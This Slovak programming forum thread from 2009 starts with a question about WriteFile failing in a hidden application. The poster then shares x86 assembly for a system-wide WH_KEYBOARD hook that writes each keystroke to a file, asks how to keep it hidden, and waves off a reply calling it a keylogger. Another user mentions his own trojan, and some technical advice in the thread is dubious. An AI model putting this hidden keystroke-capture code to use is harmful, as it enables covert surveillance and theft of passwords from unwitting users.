| | |
| Stránka: 1 z 1
| [ Príspevkov: 12 ] | |
Autor | Správa |
---|
Registrovaný: 11.01.09 Prihlásený: 25.04.24 Príspevky: 1385 Témy: 9 Bydlisko: Hrinova | Napísal Fico: 11.01.2009 20:50 | |
|
Zdravim, mam mensi problem so zapisom do suboru s funkciou WriteFile. Ja konkretne pouzivam tuto funkciu v assembleri, ale myslim, ze to je jedno. Moj problem je ten, ze ak je aplikacia, z ktorej zapisujem do suboru, viditelna, funguje vsetko spravne, no ak ju skryjem [funkciou ShowWindow(HandleApplikacie, SW_HIDE)], tak mi funkcia nezapisuje do suboru nic. Neviete mi poradit, kde je problem, alebo kde robim chybu?
|
|
Registrovaný: 28.12.08 Prihlásený: 12.01.09 Príspevky: 78 Témy: 0 |
...chyba je ze ty okno skryjes...pricom vo windowse plati ze ak je apliakcia skryta tak sa nevykonava WinProc ! => zlyhanie multitaskingu...
btw aby si to pochopil nato aby mohol program bezat musi byt minimalne minimalizovany v liste alebo v systray-i...myslis si ze preco totalcommander potrebuje byt pri kopirovani minimalizovany alebo si dava ikonu do systray-u...
P.S. ak chces neviditelnu aplikaciu tak ju nainstaluj ako sluzbu systemu bez okna v novom threade
|
|
Registrovaný: 11.01.09 Prihlásený: 25.04.24 Príspevky: 1385 Témy: 9 Bydlisko: Hrinova | Napísal autor témy Fico: 12.01.2009 14:23 | |
|
OK, diky ti moc za pomoc a za vsvetlenie, takze ja teda prerobim tu aplikaciu na sluzbu, pretoze ona musi byt skryta.
|
|
Registrovaný: 13.11.07 Prihlásený: 20.08.16 Príspevky: 1702 Témy: 0 | Napísal chrono: 12.01.2009 16:23 | |
|
blackman545 píše: ... Dosť pochybujem, že je to pravda. Nikdy som nemal problémy s tým, že by aplikácia so skrytým oknom nespracovávala správy (a už vôbec to neovplyvňuje zápis súborov; takže tam musí mať iný problém).
|
|
Registrovaný: 28.12.08 Prihlásený: 12.01.09 Príspevky: 78 Témy: 0 |
...skryte okno funguje vtedy ak mas este jedno rodicovske okno nad tym ktore to skryte okno ovlada alebo je ovladane ako service...
btw ak nemas napisany kod ako service tak windows posiela do vsetkych okien iba systemove spravy typu WM_QUIT a podobne ktore maju vplyv na tu aplikaciu...
Citácia: The WaitMessage function yields control to other threads when a thread has no other messages in its message queue. The WaitMessage function suspends the thread and does not return until a new message is placed in the thread's message queue.
P.S. do slucky je posielana iba WM_TIMER a podobne z window-based sprav(ktore vznikaju nezavisle od okna)...vsetky window-based spravy su posielane iba sluzbam, oknam napisanym ako sluzby a AKTIVNEMU OKNU(to ktore ma focus) zprava dolava...=> ak by to tak nebolo tak napriklad stlacenim CTRL+C by som neskopiroval obsah iba tohoto okna ale aj vsetkych ktore mam momentalne teraz v pozadi...
|
|
Registrovaný: 13.01.09 Prihlásený: 13.01.09 Príspevky: 4 Témy: 0 | Napísal Habo: 13.01.2009 21:50 | |
|
To je divne urcite to skrytim nie je napr. moj trojan sa skryje a ide dalej (uspesne )
|
|
Registrovaný: 13.11.07 Prihlásený: 20.08.16 Príspevky: 1702 Témy: 0 | Napísal chrono: 16.01.2009 20:24 | |
|
blackman545 píše: ... Aplikácia so skrytým oknom funguje aj ďalej. Samozrejme je logické, že musíš chcieť, aby niečo robila. Ak jej prestaneš posielať správy (a nemáš tam žiadnu priblblú funkciu, ktorá by robila to, čo sa robiť nemá a teda by v nej bol nejaký nekonečný cyklus) tak je logické, že nič robiť nebude (rovnako, ako ti napr. textový editor nenapíše román sám od seba po tom ako ho zapneš).
|
|
Registrovaný: 11.01.09 Prihlásený: 25.04.24 Príspevky: 1385 Témy: 9 Bydlisko: Hrinova | Napísal autor témy Fico: 18.01.2009 11:21 | |
|
Skúšal som to spraviť všelijak, ale akosi mi to stále nejde. Napíšem vám tú hlavnú časť kódu a možno vám to viac pomôže.
V tejto aplikácii ide proste o zápis hodnoty stlačeného klávesu do súboru. Všetko sa odohráva v knižnici, kde je umiestnená funkcia háku typu WH_KEYBOARD.
Výpis:
Kód: Hook PROC EXPORT
push ebp mov ebp, esp push ebx
push DWORD PTR [ebp + 10h] push DWORD PTR [ebp + 0Ch] push DWORD PTR [ebp + 08h] push [_hHook] call CallNextHookEx@16
mov ebx, offset buffer mov al, BYTE PTR [ebp + 0Ch] mov [ebx], al
; ak bol klaves uvolneny, koniec
mov eax, DWORD PTR [ebp + 10h] and eax, 80000000h cmp eax, 80000000h je _EXI
; zapis do suboru
push 0 push offset bytesWritten push 1 push offset buffer push _hFile call WriteFile@20
jmp _EXI
_EXI:
pop ebx pop ebp ret 0
Hook ENDP
Ak je aplikácia aktívna, všetko funguje presne ako má. No stačí, že aplikácia prestane byť aktívna (to znamená, že je viditeľná, nie je SKRYTÁ), tak sa do súboru nič nezapíše. Ak dám namiesto funkcie WriteFile napríklad funkciu MessageBoxA, tak mi vyskočí správa messagebox-u, aj keď je aplikácia neaktívna, dokonca aj keď je skrytá!
Snáď vám to teraz trochu viac pomôže. Vopred ďakujem za odpoveď
|
|
Registrovaný: 19.09.06 Prihlásený: 21.04.24 Príspevky: 749 Témy: 31 Bydlisko: Ružomberok&... |
Podla mna by si mal nastavit pomocou SetWindowsHookEx globalny hook na tie spravy, ktore chces prijimat. Lebo teraz odchytavas len spravy prijimane aplikaciou.
|
|
Registrovaný: 11.01.09 Prihlásený: 25.04.24 Príspevky: 1385 Témy: 9 Bydlisko: Hrinova | Napísal autor témy Fico: 18.01.2009 12:42 | |
|
Iba typy hákov WH_JOURNALRECORD a WH_JOURNALPLAYBACK nie sú pre globálne háky, teda WH_KEYBOARD "odchytáva" kl´=avesy kdekoľvek v systéme. A aj vyššie som popísal, že ak použijem napr funkciu MessageBoxA, tak mi správa (s ASCII klávesu napríklad) vybehne vždy, aj mimo aplikácie.
|
|
Registrovaný: 20.11.07 Prihlásený: 04.07.12 Príspevky: 405 Témy: 89 |
to si popisujete o keoggeroch len tak)???
|
|
Registrovaný: 11.01.09 Prihlásený: 25.04.24 Príspevky: 1385 Témy: 9 Bydlisko: Hrinova | Napísal autor témy Fico: 26.01.2009 15:22 | |
|
Ako si prišiel na to, že je to keylogger? Čo ak potrebujem iba zistiť, koľko krát boli stlačené dané klávesy, ktorých výskyt čítam práve zo súboru. Hmm? A aj keby to bol keylogger, pýtal som si radu, nie mravné poučenia, ak mi nevieš poradiť, tak to nemusíš komentovať, OK? Dík za pochopenie.
|
|
| Stránka: 1 z 1
| [ Príspevkov: 12 ] | |
Podobné témy | Témy | Odpovede | Zobrazenia | Posledný príspevok |
---|
| funkcia v Assembler, C, C++, Pascal, Java | 1 | 636 | 10.02.2009 21:20 Fico | | funkcia v PHP, ASP | 2 | 336 | 25.03.2014 17:42 shaggy | | Funkcia v PHP, ASP | 6 | 828 | 06.11.2007 15:45 Orwell | | funkcia.... v PHP, ASP | 1 | 641 | 30.08.2008 20:44 p360t | | funkcia v Assembler, C, C++, Pascal, Java | 3 | 635 | 29.04.2009 20:31 stopa27 | | Funkcia v PHP, ASP | 12 | 819 | 24.04.2008 18:37 Triminka | | funkcia crypt v PHP, ASP | 3 | 311 | 31.08.2014 13:51 neopagan | | Vzdialena funkcia v PHP, ASP | 0 | 587 | 30.01.2009 9:54 Alino | | Aka funkcia v PHP, ASP | 5 | 468 | 03.02.2008 21:36 vl4kn0 | | jednoducha funkcia v PHP, ASP | 7 | 693 | 26.12.2007 13:42 Flety | | Funkcia Routera v Siete | 1 | 438 | 11.09.2010 9:58 Icehammer | | Funkcia scanf v Assembler, C, C++, Pascal, Java | 5 | 613 | 06.11.2017 0:19 Miso122 | | agregacna funkcia v Databázy | 4 | 857 | 13.09.2008 13:30 m4r14n | | funkcia vyhladaj v Assembler, C, C++, Pascal, Java | 4 | 397 | 09.05.2009 15:59 neutronmind | | [C] funkcia v Assembler, C, C++, Pascal, Java | 12 | 491 | 11.01.2015 21:01 nBXXL | | nefunguje funkcia v JavaScript, VBScript, Ajax | 3 | 400 | 19.03.2011 12:31 Ďuri |
| Nemôžete zakladať nové témy v tomto fóre Nemôžete odpovedať na témy v tomto fóre Nemôžete upravovať svoje príspevky v tomto fóre Nemôžete mazať svoje príspevky v tomto fóre
|
|